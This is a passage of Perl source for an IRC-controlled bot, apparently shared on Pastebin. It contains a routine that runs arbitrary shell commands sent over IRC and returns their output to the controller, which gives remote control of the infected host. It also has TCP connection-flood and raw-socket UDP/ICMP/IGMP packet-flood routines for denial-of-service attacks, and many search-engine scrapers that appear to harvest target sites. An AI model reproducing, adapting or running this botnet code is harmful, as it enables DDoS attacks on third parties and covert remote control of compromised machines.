  2962.    for $klucz (keys %childs) {
  2963.  
  2964.       print FILE $klucz." ".$childs{$klucz}."\n";
  2965.  
  2966.    }
  2967.  
  2968. }
  2969.  
  2970.  
  2971.  
  2972. sub zr {
  2973.  
  2974.    my $printl=$_[0];
  2975.  
  2976.    my $comando=$_[1];
  2977.  
  2978.    if ($comando =~ /cd (.*)/) {
  2979.  
  2980.       chdir("$1") || msg("$printl", "No such file or directory");
  2981.  
  2982.       return;
  2983.  
  2984.    } elsif ($pid = fork) {
  2985.  
  2986.       waitpid($pid, 0);
  2987.  
  2988.    } else {
  2989.  
  2990.       if (fork) {
  2991.  
  2992.          exit;
  2993.  
  2994.       } else {
  2995.  
  2996.          my @resp=`$comando 2>&1 3>&1`;
  2997.  
  2998.          my $c=0;
  2999.  
  3000.          foreach my $linha (@resp) {
  3001.  
  3002.             $c++;
  3003.  
  3004.             chop $linha;
  3005.  
  3006.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  3007.  
  3008.             if ($c == "$linas_max") {
  3009.  
  3010.                $c=0;
  3011.  
  3012.                sleep $sleep;
  3013.  
  3014.             }
  3015.  
  3016.          }
  3017.  
  3018.          exit;
  3019.  
  3020.       }
  3021.  
  3022.    }
  3023.  
  3024. }
  3025.  
  3026.  
  3027.  
  3028. sub tcpflooder {
  3029.  
  3030.    my $itime = time;
  3031.  
  3032.    my ($cur_time);
  3033.  
  3034.    my ($ia,$pa,$proto,$j,$l,$t);
  3035.  
  3036.    $ia=inet_aton($_[0]);
  3037.  
  3038.    $pa=sockaddr_in($_[1],$ia);
  3039.  
  3040.    $ftime=$_[2];
  3041.  
  3042.    $proto=getprotobyname('tcp');
  3043.  
  3044.    $j=0;$l=0;
  3045.  
  3046.    $cur_time = time - $itime;
  3047.  
  3048.    while ($l<1000){
  3049.  
  3050.       $cur_time = time - $itime;
  3051.  
  3052.       last if $cur_time >= $ftime;
  3053.  
  3054.       $t="SOCK$l";
  3055.  
  3056.       socket($t,PF_INET,SOCK_STREAM,$proto);
  3057.  
  3058.       connect($t,$pa)||$j--;
  3059.  
  3060.       $j++;
  3061.  
  3062.       $l++;
  3063.  
  3064.    }
  3065.  
  3066.    $l=0;
  3067.  
  3068.    while ($l<1000){
  3069.  
  3070.       $cur_time = time - $itime;
  3071.  
  3072.       last if $cur_time >= $ftime;
  3073.  
  3074.       $t="SOCK$l";
  3075.  
  3076.       shutdown($t,2);
  3077.  
  3078.       $l++;
  3079.  
  3080.    }
  3081.  
  3082. }
  3083.  
  3084.  
  3085.  
  3086. sub udpflooder {
  3087.  
  3088.    my $iaddr = inet_aton($_[0]);
  3089.  
  3090.    my $msg = 'A' x $_[1];
  3091.  
  3092.    my $ftime = $_[2];
  3093.  
  3094.    my $cp = 0;
  3095.  
  3096.    my (%pacotes);
  3097.  
  3098.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  3099.  
  3100.    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  3101.  
  3102.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  3103.  
  3104.    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  3105.  
  3106.    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  3107.  
  3108.    return(undef) if $cp == 4;
  3109.  
  3110.    my $itime = time;
  3111.  
  3112.    my ($cur_time);
  3113.  
  3114.    while ( 1 ) {
  3115.  
  3116.       for (my $porta = 1; $porta <= 65000; $porta++) {
  3117.  
  3118.          $cur_time = time - $itime;
  3119.  
  3120.          last if $cur_time >= $ftime;
  3121.  
  3122.          send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  3123.  
  3124.          send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  3125.  
  3126.          send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  3127.  
  3128.          send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  3129.  
  3130.          for (my $pc = 3; $pc <= 255;$pc++) {
  3131.  
  3132.             next if $pc == 6;
  3133.  
  3134.             $cur_time = time - $itime;
  3135.  
  3136.             last if $cur_time >= $ftime;
  3137.  
  3138.             socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  3139.  
  3140.             send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  3141.  
  3142.          }
  3143.  
  3144.       }
  3145.  
  3146.       last if $cur_time >= $ftime;
  3147.  
  3148.    }
  3149.  
  3150.    return($cur_time, %pacotes);
  3151.  
  3152. }
  3153.  
  3154.  
  3155.  
  3156. sub ctcp {
  3157.  
  3158.    return unless $#_ == 1;
  3159.  
  3160.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  3161.  
  3162. }
  3163.  
  3164.  
  3165.  
  3166. sub msg {
  3167.  
  3168.    return unless $#_ == 1;
  3169.  
  3170.    sendraw("PRIVMSG $_[0] :$_[1]");
  3171.  
  3172. }
  3173.  
  3174.  
  3175.  
  3176. sub notice {
  3177.  
  3178.    return unless $#_ == 1;
  3179.  
  3180.    sendraw("NOTICE $_[0] :$_[1]");
  3181.  
  3182. }
  3183.  
  3184.  
  3185.  
  3186. sub op {
  3187.  
  3188.    return unless $#_ == 1;
  3189.  
  3190.    sendraw("MODE $_[0] +o $_[1]");
  3191.  
  3192. }
  3193.  
  3194.  
  3195.  
  3196. sub deop {
  3197.  
  3198.    return unless $#_ == 1;
  3199.  
  3200.    sendraw("MODE $_[0] -o $_[1]");
  3201.  
  3202. }
  3203.  
  3204.  
  3205.  
  3206. sub j {
  3207.  
  3208.    &join(@_);
  3209.  
  3210. }
  3211.  
  3212.  
  3213.  
  3214. sub join {
  3215.  
  3216.    return unless $#_ == 0;
  3217.  
  3218.    sendraw("JOIN $_[0]");
  3219.  
  3220. }
  3221.  
  3222.  
  3223.  
  3224. sub p {
  3225.  
  3226.    part(@_);
  3227.  
  3228. }
  3229.  
  3230.  
  3231.  
  3232. sub part {
  3233.  
  3234.    sendraw("PART $_[0]");
  3235.  
  3236. }
  3237.  
  3238.  
  3239.  
  3240. sub nick {
  3241.  
  3242.    return unless $#_ == 0;
  3243.  
  3244.    sendraw("NICK $_[0]");
  3245.  
  3246. }
  3247.  
  3248.  
  3249.  
  3250. sub quit {
  3251.  
  3252.    sendraw("QUIT :$_[0]");
  3253.  
  3254. }
  3255.  
  3256.  
  3257.  
  3258. sub fetch(){
  3259.  
  3260.    my $rnd=(int(rand(9999)));
  3261.  
  3262.    my $n= 80;
  3263.  
  3264.    if ($rnd<5000) {
  3265.  
  3266.       $n<<=1;
  3267.  
  3268.    }
  3269.  
  3270.    my $s= (int(rand(10)) * $n);
  3271.  
  3272.    my @dominios = ("removed-them-all");
  3273.  
  3274.    my @str;
  3275.  
  3276.    foreach $dom  (@dominios){
  3277.  
  3278.       push (@str,"@gstring");
  3279.  
  3280.    }
  3281.  
  3282.    my $query="www.google.com/search?q=";
  3283.  
  3284.    $query.=$str[(rand(scalar(@str)))];
  3285.  
  3286.    $query.="&num=$n&start=$s";
  3287.  
  3288.    my @lst=();
  3289.  
  3290.    sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  3291.  
  3292.    my $page = http_query($query);
  3293.  
  3294.    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  3295.  
  3296.       if ($1 !~ m/google|cache|translate/){
  3297.  
  3298.          push (@lst,$1);
  3299.  
  3300.       }
  3301.  
  3302.    }
  3303.  
  3304.    return (@lst);
  3305.  
  3306.  
  3307.  
  3308. sub yahoo(){
  3309.  
  3310. my @lst;
  3311.  
  3312. my $key = $_[0];
  3313.  
  3314. for($b=1;$b<=1000;$b+=100){
  3315.  
  3316. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  3317.  
  3318. my $Res=query($Ya);
  3319.  
  3320. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  3321.  
  3322. my $k=$1;
  3323.  
  3324. $k=~s/<b>//g;
  3325.  
  3326. $k=~s/<\/b>//g;
  3327.  
  3328. $k=~s/<wbr>//g;
  3329.  
  3330. my @grep=links($k);
  3331.  
  3332. push(@lst,@grep);
  3333.  
  3334. }}
  3335.  
  3336. return @lst;
  3337.  
  3338. }
  3339.  
  3340.  
  3341.  
  3342. sub msn(){
  3343.  
  3344. my @lst;
  3345.  
  3346. my $key = $_[0];
  3347.  
  3348. for($b=1;$b<=1000;$b+=10){
  3349.  
  3350. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  3351.  
  3352. my $Res=query($msn);
  3353.  
  3354. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3355.  
  3356. if($1 !~ /msn|live/){
  3357.  
  3358. my $k=$1;
  3359.  
  3360. my @grep=links($k);
  3361.  
  3362. push(@lst,@grep);
  3363.  
  3364. }}}
  3365.  
  3366. return @lst;
  3367.  
  3368. }
  3369.  
  3370.  
  3371.  
  3372. sub lycos(){
  3373.  
  3374. my $inizio=0;
  3375.  
  3376. my $pagine=20;
  3377.  
  3378. my $key=$_[0];
  3379.  
  3380. my $av=0;
  3381.  
  3382. my @lst;
  3383.  
  3384. while($inizio <= $pagine){
  3385.  
  3386. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  3387.  
  3388. my $Res=query($lycos);
  3389.  
  3390. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  3391.  
  3392. my $k="$1";
  3393.  
  3394. my @grep=links($k);
  3395.  
  3396. push(@lst,@grep);
  3397.  
  3398. }
  3399.  
  3400. $inizio++;
  3401.  
  3402. $av++;
  3403.  
  3404. }
  3405.  
  3406. return @lst;
  3407.  
  3408. }
  3409.  
  3410.  
  3411.  
  3412. #####
  3413.  
  3414. sub aol(){
  3415.  
  3416. my @lst;
  3417.  
  3418. my $key = $_[0];
  3419.  
  3420. for($b=1;$b<=100;$b++){
  3421.  
  3422. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  3423.  
  3424. my $Res=query($AoL);
  3425.  
  3426. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  3427.  
  3428. my $k=$1;
  3429.  
  3430. my @grep=links($k);
  3431.  
  3432. push(@lst,@grep);
  3433.  
  3434. }}
  3435.  
  3436. return @lst;
  3437.  
  3438. }
  3439.  
  3440. #####
  3441.  
  3442.  
  3443.  
  3444. #####
  3445.  
  3446. sub alltheweb()
  3447.  
  3448. {
  3449.  
  3450. my @lst;
  3451.  
  3452. my $key=$_[0];
  3453.  
  3454. my $i=0;
  3455.  
  3456. my $pg=0;
  3457.  
  3458. for($i=0; $i<=1000; $i+=100)
  3459.  
  3460. {
  3461.  
  3462. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  3463.  
  3464. my $Res=query($all);
  3465.  
  3466. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  3467.  
  3468. my $k=$1;
  3469.  
  3470. $k=~s/ //g;
  3471.  
  3472. my @grep=links($k);
  3473.  
  3474. push(@lst,@grep);
  3475.  
  3476. }}
  3477.  
  3478. return @lst;
  3479.  
  3480. }
  3481.  
  3482.  
  3483.  
  3484. sub google(){
  3485.  
  3486. my @lst;
  3487.  
  3488. my $key = $_[0];
  3489.  
  3490. for($b=0;$b<=100;$b+=100){
  3491.  
  3492. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  3493.  
  3494. my $Res=query($Go);
  3495.  
  3496. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3497.  
  3498. if ($1 !~ /google/){
  3499.  
  3500. my $k=$1;
  3501.  
  3502. my @grep=links($k);
  3503.  
  3504. push(@lst,@grep);
  3505.  
  3506. }}}
  3507.  
  3508. return @lst;
  3509.  
  3510. }
  3511.  
  3512.  
  3513.  
  3514. #####
  3515.  
  3516. # SUBS SEARCH
  3517.  
  3518. #####
  3519.  
  3520. sub search(){
  3521.  
  3522. my @lst;
  3523.  
  3524. my $key = $_[0];
  3525.  
  3526. for($b=0;$b<=1000;$b+=100){
  3527.  
  3528. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  3529.  
  3530. my $Res=query($ser);
  3531.  
  3532. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3533.  
  3534. if ($1 !~ /msn|live|google|yahoo/){
  3535.  
  3536. my $k=$1;
  3537.  
  3538. my @grep=links($k);
  3539.  
  3540. push(@lst,@grep);
  3541.  
  3542. }}}
  3543.  
  3544. return @lst;
  3545.  
  3546. }
  3547.  
  3548.  
  3549.  
  3550. #####
  3551.  
  3552. # SUBS FireBall
  3553.  
  3554. #####
  3555.  
  3556. sub fireball(){
  3557.  
  3558. my $key=$_[0];
  3559.  
  3560. my $inicio=1;
  3561.  
  3562. my $pagina=200;
  3563.  
  3564. my @lst;
  3565.  
  3566. my $av=0;
  3567.  
  3568. while($inicio <= $pagina){
  3569.  
  3570. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  3571.  
  3572. my $Res=query($fireball);
  3573.  
  3574. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  3575.  
  3576. if ($1 !~ /msn|live|google|yahoo/){
  3577.  
  3578. my $k="$1/";
  3579.  
  3580. my @grep=links($k);
  3581.  
  3582. push(@lst,@grep);
  3583.  
  3584. }}
  3585.  
  3586. $av=$av+10;
  3587.  
  3588. $inicio++;
  3589.  
  3590. }
  3591.  
  3592. return @lst;
  3593.  
  3594. }
  3595.  
  3596. #####
  3597.  
  3598. # SUBS UOL
  3599.  
  3600. #####
  3601.  
  3602. sub uol(){
  3603.  
  3604. my @lst;
  3605.  
  3606. my $key = $_[0];
  3607.  
  3608. for($b=1;$b<=1000;$b+=10){
  3609.  
  3610. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  3611.  
  3612. my $Res=query($UoL);
  3613.  
  3614. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  3615.  
  3616. my $k=$1;
  3617.  
  3618. if($k!~/busca|uol|yahoo/){
  3619.  
  3620. my $k=$1;
  3621.  
  3622. my @grep=links($k);
  3623.  
  3624. push(@lst,@grep);
  3625.  
  3626. }}}
  3627.  
  3628. return @lst;
  3629.  
  3630. }
  3631.  
  3632.  
  3633.  
  3634. #####
  3635.  
  3636. # Altavista
  3637.  
  3638. #####
  3639.  
  3640. sub altavista(){
  3641.  
  3642. my @lst;
  3643.  
  3644. my $key = $_[0];
  3645.  
  3646. for($b=1;$b<=1000;$b+=10){
  3647.  
  3648. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  3649.  
  3650. my $Res=query($AlT);
  3651.  
  3652. while($Res=~m/<span class=ngrn>(.+?)\//g){
  3653.  
  3654. if($1 !~ /altavista/){
  3655.  
  3656. my $k=$1;
  3657.  
  3658. $k=~s/<//g;
  3659.  
  3660. $k=~s/ //g;
  3661.  
  3662. my @grep=links($k);
  3663.  
  3664. push(@lst,@grep);
  3665.  
  3666. }}}
  3667.  
  3668. return @lst;
  3669.  
  3670. }
  3671.  
  3672.  
  3673.  
  3674. sub altavistade(){
  3675.  
  3676. my @lst;
  3677.  
  3678. my $key = $_[0];
  3679.  
  3680. for($b=1;$b<=1000;$b+=10){
  3681.  
  3682. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  3683.  
  3684. my $Res=query($AlT);
  3685.  
  3686. while($Res=~m/<span class=ngrn>(.+?)\//g){
  3687.  
  3688. if($1 !~ /altavista/){
  3689.  
  3690. my $k=$1;
  3691.  
  3692. $k=~s/<//g;
  3693.  
  3694. $k=~s/ //g;
  3695.  
  3696. my @grep=links($k);
  3697.  
  3698. push(@lst,@grep);
  3699.  
  3700. }}}
  3701.  
  3702. return @lst;
  3703.  
  3704. }
  3705.  
  3706.  
  3707.  
  3708. sub altavistaus(){
  3709.  
  3710. my @lst;
  3711.  
  3712. my $key = $_[0];
  3713.  
  3714. for($b=1;$b<=1000;$b+=10){
  3715.  
  3716. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  3717.  
  3718. my $Res=query($AlT);
  3719.  
  3720. while($Res=~m/<span class=ngrn>(.+?)\//g){
  3721.  
  3722. if($1 !~ /altavista/){
  3723.  
  3724. my $k=$1;
  3725.  
  3726. $k=~s/<//g;
  3727.  
  3728. $k=~s/ //g;
  3729.  
  3730. my @grep=links($k);
  3731.  
  3732. push(@lst,@grep);
  3733.  
  3734. }}}
  3735.  
  3736. return @lst;
  3737.  
  3738. }
  3739.  
  3740.  
  3741.  
  3742. #####
  3743.  
  3744. # HotBot
  3745.  
  3746. #####
  3747.  
  3748. sub hotbot(){
  3749.  
  3750. my @lst;
  3751.  
  3752. my $key = $_[0];
  3753.  
  3754. for($b=0;$b<=1000;$b+=100){
  3755.  
  3756. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  3757.  
  3758. my $Res=query($hot);
  3759.  
  3760. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3761.  
  3762. if ($1 !~ /msn|live|google|yahoo/){
  3763.  
  3764. my $k=$1;
  3765.  
  3766. my @grep=links($k);
  3767.  
  3768. push(@lst,@grep);
  3769.  
  3770. }}}
  3771.  
  3772. return @lst;
  3773.  
  3774. }
  3775.  
  3776.  
  3777.  
  3778.  
  3779.  
  3780. #####
  3781.  
  3782. # Mamma
  3783.  
  3784. #####
  3785.  
  3786. sub mamma(){
  3787.  
  3788. my @lst;
  3789.  
  3790. my $key = $_[0];
  3791.  
  3792. for($b=0;$b<=1000;$b+=100){
  3793.  
  3794. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  3795.  
  3796. my $Res=query($mam);
  3797.  
  3798. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3799.  
  3800. if ($1 !~ /msn|live|google|yahoo/){
  3801.  
  3802. my $k=$1;
  3803.  
  3804. my @grep=links($k);
  3805.  
  3806. push(@lst,@grep);
  3807.  
  3808. }}}
  3809.  
  3810. return @lst;
  3811.  
  3812. }
  3813.  
  3814.  
  3815.  
  3816. #####
  3817.  
  3818. # MozBot
  3819.  
  3820. #####
  3821.  
  3822. sub mozbot()
  3823.  
  3824. {
  3825.  
  3826. my @lst;
  3827.  
  3828. my $key=$_[0];
  3829.  
  3830. my $i=0;
  3831.  
  3832. my $pg=0;
  3833.  
  3834. for($i=0; $i<=100; $i+=1){
  3835.  
  3836. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  3837.  
  3838. my $Res=query($mozbot);
  3839.  
  3840. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  3841.  
  3842. my $k=$1;
  3843.  
  3844. $k=~s/ //g;
  3845.  
  3846. my @grep=links($k);
  3847.  
  3848. push(@lst,@grep);
  3849.  
  3850. }}
  3851.  
  3852. return @lst;
  3853.  
  3854. }
  3855.  
  3856.  
  3857.  
  3858. sub links()
  3859.  
  3860. {
  3861.  
  3862. my @l;
  3863.  
  3864. my $link=$_[0];
  3865.  
  3866. my $host=$_[0];
  3867.  
  3868. my $hdir=$_[0];
  3869.  
  3870. $hdir=~s/(.*)\/[^\/]*$/\1/;
  3871.  
  3872. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3873.  
  3874. $host.="/";
  3875.  
  3876. $link.="/";
  3877.  
  3878. $hdir.="/";
  3879.  
  3880. $host=~s/\/\//\//g;
  3881.  
  3882. $hdir=~s/\/\//\//g;
  3883.  
  3884. $link=~s/\/\//\//g;
  3885.  
  3886. push(@l,$link,$host,$hdir);
  3887.  
  3888. return @l;
  3889.  
  3890. }
  3891.  
  3892.  
  3893.  
  3894. sub geths(){
  3895.  
  3896. my $host=$_[0];
  3897.  
  3898. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3899.  
  3900. return $host;
  3901.  
  3902. }
  3903.  
  3904.  
  3905.  
  3906. sub key(){
  3907.  
  3908. my $chiave=$_[0];
  3909.  
  3910. $chiave =~ s/ /\+/g;
  3911.  
  3912. $chiave =~ s/:/\%3A/g;
  3913.  
  3914. $chiave =~ s/\//\%2F/g;
  3915.  
  3916. $chiave =~ s/&/\%26/g;
  3917.  
  3918. $chiave =~ s/\"/\%22/g;
  3919.  
  3920. $chiave =~ s/,/\%2C/g;
  3921.  
  3922. $chiave =~ s/\\/\%5C/g;
  3923.  
  3924. return $chiave;
  3925.  
  3926. }
  3927.  
  3928.  
  3929.  
  3930. sub query($){
  3931.  
  3932. my $url=$_[0];
  3933.  
  3934. $url=~s/http:\/\///;
  3935.  
  3936. my $host=$url;
  3937.  
  3938. my $query=$url;
  3939.  
  3940. my $page="";
  3941.  
  3942. $host=~s/href=\"?http:\/\///;
  3943.  
  3944. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3945.  
  3946. $query=~s/$host//;
  3947.  
  3948. if ($query eq "") {$query="/";};
  3949.  
  3950. eval {
  3951.  
  3952. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  3953.  
  3954. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  3955.  
  3956. my @r = <$sock>;
  3957.  
  3958. $page="@r";
  3959.  
  3960. close($sock);
  3961.  
  3962. };
  3963.  
  3964. return $page;
  3965.  
  3966. }
  3967.  
  3968.  
  3969.  
  3970. sub unici{
  3971.  
  3972. my @unici = ();
  3973.  
  3974. my %visti = ();
  3975.  
  3976. foreach my $elemento ( @_ )
  3977.  
  3978. {
  3979.  
  3980. next if $visti{ $elemento }++;
  3981.  
  3982. push @unici, $elemento;
  3983.  
  3984. }    
  3985.  
  3986. return @unici;
  3987.  
  3988. }
  3989.  
  3990.  
  3991.  
  3992. sub http_query($){
  3993.  
  3994. my ($url) = @_;
  3995.  
  3996. my $host=$url;
  3997.  
  3998. my $query=$url;
  3999.  
  4000. my $page="";
  4001.  
  4002. $host =~ s/href=\"?http:\/\///;
  4003.  
  4004. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  4005.  
  4006. $query =~s/$host//;
  4007.  
  4008. if ($query eq "") {$query="/";};
  4009.  
  4010. eval {
  4011.  
  4012. local $SIG{ALRM} = sub { die "1";};
  4013.  
  4014. alarm 10;
  4015.  
  4016. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  4017.  
  4018. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  4019.  
  4020. my @r = <$sock>;
  4021.  
  4022. $page="@r";
  4023.  
  4024. alarm 0;
  4025.  
  4026. close($sock);
  4027.  
  4028. };
  4029.  
  4030. return $page;
  4031.  
  4032. }}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top